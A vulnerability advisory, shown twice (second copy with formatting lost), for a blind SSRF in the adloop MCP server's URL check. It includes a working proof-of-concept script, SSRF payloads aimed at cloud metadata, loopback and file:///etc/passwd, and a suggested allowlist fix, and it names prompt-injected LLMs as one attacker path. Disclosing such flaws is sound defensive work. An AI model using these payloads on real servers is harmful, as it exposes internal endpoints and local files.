Summary
adloop is an MCP server giving an AI assistant read/write access to Google Ads + GA4. Several of its "draft" tools accept a final_url (the destination URL of an ad / sitelink) and, as a convenience, verify the URL is reachable before creating the ad. That verification (_validate_urls) passes the caller-supplied URL straight to urllib.request.urlopen() with no scheme allowlist and no host/IP filtering.
Because the URL comes directly from an MCP tool argument (attacker-controlled: a prompt-injected LLM, a malicious tool call, or any client that can reach the server), this is a Server-Side Request Forgery primitive:
final_url = http://169.254.169.254/… or http://127.0.0.1:<port>/… → the server issues the request to internal/cloud-metadata/loopback endpoints the caller otherwise can't reach.
final_url = file:///etc/passwd → the file:// scheme is not rejected; urlopen opens the local file, and the differing error responses form a local-file existence oracle.
The check runs in the preview/validate step before any authenticated Google Ads API call, so it fires without valid Google credentials — i.e. reachable as soon as the MCP server is running.
The response body is not returned to the caller, so this is a blind SSRF + existence oracle (hence Medium, not High) — still sufficient for internal port-scanning, hitting cloud metadata / internal admin endpoints, and probing local files.
Affected Component
|
|
| Repository |
kLOsk/adloop |
| Package |
adloop (PyPI) |
| Tested version |
0.9.0 |
| Vulnerable code |
src/adloop/ads/write.py → _validate_urls() |
| Reached from |
MCP tool draft_responsive_search_ad (final_url); other draft_*/sitelink tools that pass a URL to _validate_urls |
CWE / Classification
CWE-918: Server-Side Request Forgery (SSRF)
CWE-20: Improper Input Validation (no URL scheme/host allowlist)
CWE-610: Externally Controlled Reference to a Resource (file:// scheme)
Impact (blind): reach internal/loopback/link-local/cloud-metadata HTTP endpoints from the server's network position; local-file existence oracle via file://. Response content is not echoed back.
Root cause
src/adloop/ads/write.py:
def _validate_urls(urls, timeout=10):
"""Check that each URL returns a 2xx/3xx status."""
import urllib.request, urllib.error
for url in urls:
if not url: continue
try:
req = urllib.request.Request(url, method="HEAD") # <-- url is caller-controlled
req.add_header("User-Agent", "AdLoop-URLCheck/1.0")
resp = urllib.request.urlopen(req, timeout=timeout) # <-- no scheme/host allowlist; honors file://, http://internal
...
except urllib.error.HTTPError as e:
if e.code == 405: # HEAD not allowed -> retry as GET
req = urllib.request.Request(url, method="GET")
resp = urllib.request.urlopen(req, timeout=timeout) # <-- real GET to attacker host
...
Reached from draft_responsive_search_ad (same file):
errors = _validate_rsa(ad_group_id, headlines, descriptions, final_url) # local input checks only
if errors: return {"error": "Validation failed", ...}
url_check = _validate_urls([final_url]) # <-- SSRF here, before any Google API call / auth
urllib.request.urlopen supports file:, ftp:, http:, https: and performs no destination filtering; the missing allowlist is the whole bug.
Environment
OS: Linux x86_64
Python: 3.12
adloop: 0.9.0 (pip install -e .)
Reproduction
The PoC calls the real tool implementation exactly as the MCP draft_responsive_search_ad tool does. No Google credentials are needed. It (1) points final_url at a local "internal" HTTP server and shows the request arrives, and (2) shows file:// is accepted/opened and yields a file-existence oracle.
poc.py
import os, threading, http.server, socketserver
from adloop.config import AdLoopConfig
from adloop.ads import write
HITS = []
class H(http.server.BaseHTTPRequestHandler):
def do_HEAD(self): HITS.append(self.path); self.send_response(200); self.end_headers()
def do_GET(self): HITS.append(self.path); self.send_response(200); self.end_headers(); self.wfile.write(b"ok")
def log_message(self, *a): pass
httpd = socketserver.TCPServer(("127.0.0.1", 0), H)
PORT = httpd.server_address[1]
threading.Thread(target=httpd.serve_forever, daemon=True).start()
cfg = AdLoopConfig()
HL = ["Launch Your Dream Product", "Innovative Features Today", "Limited Time Offer Now"]
DS = ["Best in class service guaranteed.", "Sign up now and save big."]
draft = lambda u: write.draft_responsive_search_ad(
cfg, customer_id="1234567890", ad_group_id="123456",
headlines=HL, descriptions=DS, final_url=u)
# (1) SSRF to an internal endpoint
draft("http://127.0.0.1:%d/ssrf-INTERNAL-METADATA-PROBE" % PORT)
print("internal server HITS:", HITS)
# (2) file:// scheme accepted + existence oracle
secret = "/tmp/adloop_secret_%d" % os.getpid(); open(secret,"w").write("secret\n")
print("exists :", write._validate_urls(["file://"+secret]))
print("missing:", write._validate_urls(["file:///no/such/%d" % os.getpid()]))
print("passwd :", write._validate_urls(["file:///etc/passwd"]))
os.remove(secret); httpd.shutdown()
Run
git clone https://github.com/kLOsk/adloop && cd adloop
python3 -m venv venv && ./venv/bin/pip install -e .
./venv/bin/python poc.py
Observed result
== (1) SSRF -- internal HTTP endpoint ==
tool returned error? False
internal server HITS: ['/ssrf-INTERNAL-METADATA-PROBE'] <- request reached attacker-chosen host
== (2) file:// local-file scheme (oracle) ==
file://<secret> (exists): {'file:///tmp/adloop_secret_...': "'>=' not supported between instances of 'NoneType' and 'int'"}
file:///nonexistent: {'file:///no/such/...': "<urlopen error [Errno 2] No such file or directory: ...>"}
file:///etc/passwd: {'file:///etc/passwd': "'>=' not supported between instances of 'NoneType' and 'int'"}
== verdict ==
SSRF to internal host: CONFIRMED
file:// scheme NOT rejected (opened): CONFIRMED (urlopen opens the file; fuzzing also observed a real read of /etc/passwd)
file-existence oracle (err differs): CONFIRMED (existing file vs missing file return distinguishable errors)
The internal listener received the request (blind SSRF). For file://, urlopen opens the target (the '>=' not supported… error is the code crashing on a file: response that has no HTTP .status, after the file was opened); a missing file yields a different FileNotFoundError string — a usable existence oracle.
Expected result
A URL-reachability check should only ever make outbound http/https requests to public hosts. file://, ftp://, loopback, link-local, private, and cloud-metadata targets must be rejected before any network/file access.
Suggested fix
Validate scheme and resolved destination before urlopen:
import ipaddress, socket
from urllib.parse import urlparse
def _is_public_http_url(url: str) -> bool:
p = urlparse(url)
if p.scheme not in ("http", "https"): # blocks file://, ftp://, etc.
return False
host = p.hostname
if not host:
return False
try:
for _, _, _, _, sa in socket.getaddrinfo(host, None):
ip = ipaddress.ip_address(sa[0])
if (ip.is_private or ip.is_loopback or ip.is_link_local
or ip.is_reserved or ip.is_multicast):
return False # blocks 127.0.0.1, 169.254.169.254, 10/8, etc.
except Exception:
return False
return True
Then in _validate_urls, skip/return an error for any URL where not _is_public_http_url(url). Also disable (or apply the same check to) the HTTP-405 GET fallback, and consider not following redirects to non-public hosts.
Summary
adloopis an MCP server giving an AI assistant read/write access to Google Ads + GA4. Several of its "draft" tools accept afinal_url(the destination URL of an ad / sitelink) and, as a convenience, verify the URL is reachable before creating the ad. That verification (_validate_urls) passes the caller-supplied URL straight tourllib.request.urlopen()with no scheme allowlist and no host/IP filtering.Because the URL comes directly from an MCP tool argument (attacker-controlled: a prompt-injected LLM, a malicious tool call, or any client that can reach the server), this is a Server-Side Request Forgery primitive:
final_url = http://169.254.169.254/…orhttp://127.0.0.1:<port>/…→ the server issues the request to internal/cloud-metadata/loopback endpoints the caller otherwise can't reach.final_url = file:///etc/passwd→ thefile://scheme is not rejected;urlopenopens the local file, and the differing error responses form a local-file existence oracle.The check runs in the preview/validate step before any authenticated Google Ads API call, so it fires without valid Google credentials — i.e. reachable as soon as the MCP server is running.
The response body is not returned to the caller, so this is a blind SSRF + existence oracle (hence Medium, not High) — still sufficient for internal port-scanning, hitting cloud metadata / internal admin endpoints, and probing local files.
Affected Component
kLOsk/adloopadloop(PyPI)src/adloop/ads/write.py→_validate_urls()draft_responsive_search_ad(final_url); otherdraft_*/sitelink tools that pass a URL to_validate_urlsCWE / Classification
Impact (blind): reach internal/loopback/link-local/cloud-metadata HTTP endpoints from the server's network position; local-file existence oracle via
file://. Response content is not echoed back.Root cause
src/adloop/ads/write.py:Reached from
draft_responsive_search_ad(same file):urllib.request.urlopensupportsfile:,ftp:,http:,https:and performs no destination filtering; the missing allowlist is the whole bug.Environment
Reproduction
The PoC calls the real tool implementation exactly as the MCP
draft_responsive_search_adtool does. No Google credentials are needed. It (1) pointsfinal_urlat a local "internal" HTTP server and shows the request arrives, and (2) showsfile://is accepted/opened and yields a file-existence oracle.poc.pyRun
Observed result
The internal listener received the request (blind SSRF). For
file://,urlopenopens the target (the'>=' not supported…error is the code crashing on afile:response that has no HTTP.status, after the file was opened); a missing file yields a differentFileNotFoundErrorstring — a usable existence oracle.Expected result
A URL-reachability check should only ever make outbound
http/httpsrequests to public hosts.file://,ftp://, loopback, link-local, private, and cloud-metadata targets must be rejected before any network/file access.Suggested fix
Validate scheme and resolved destination before
urlopen:Then in
_validate_urls, skip/return an error for any URL wherenot _is_public_http_url(url). Also disable (or apply the same check to) the HTTP-405GETfallback, and consider not following redirects to non-public hosts.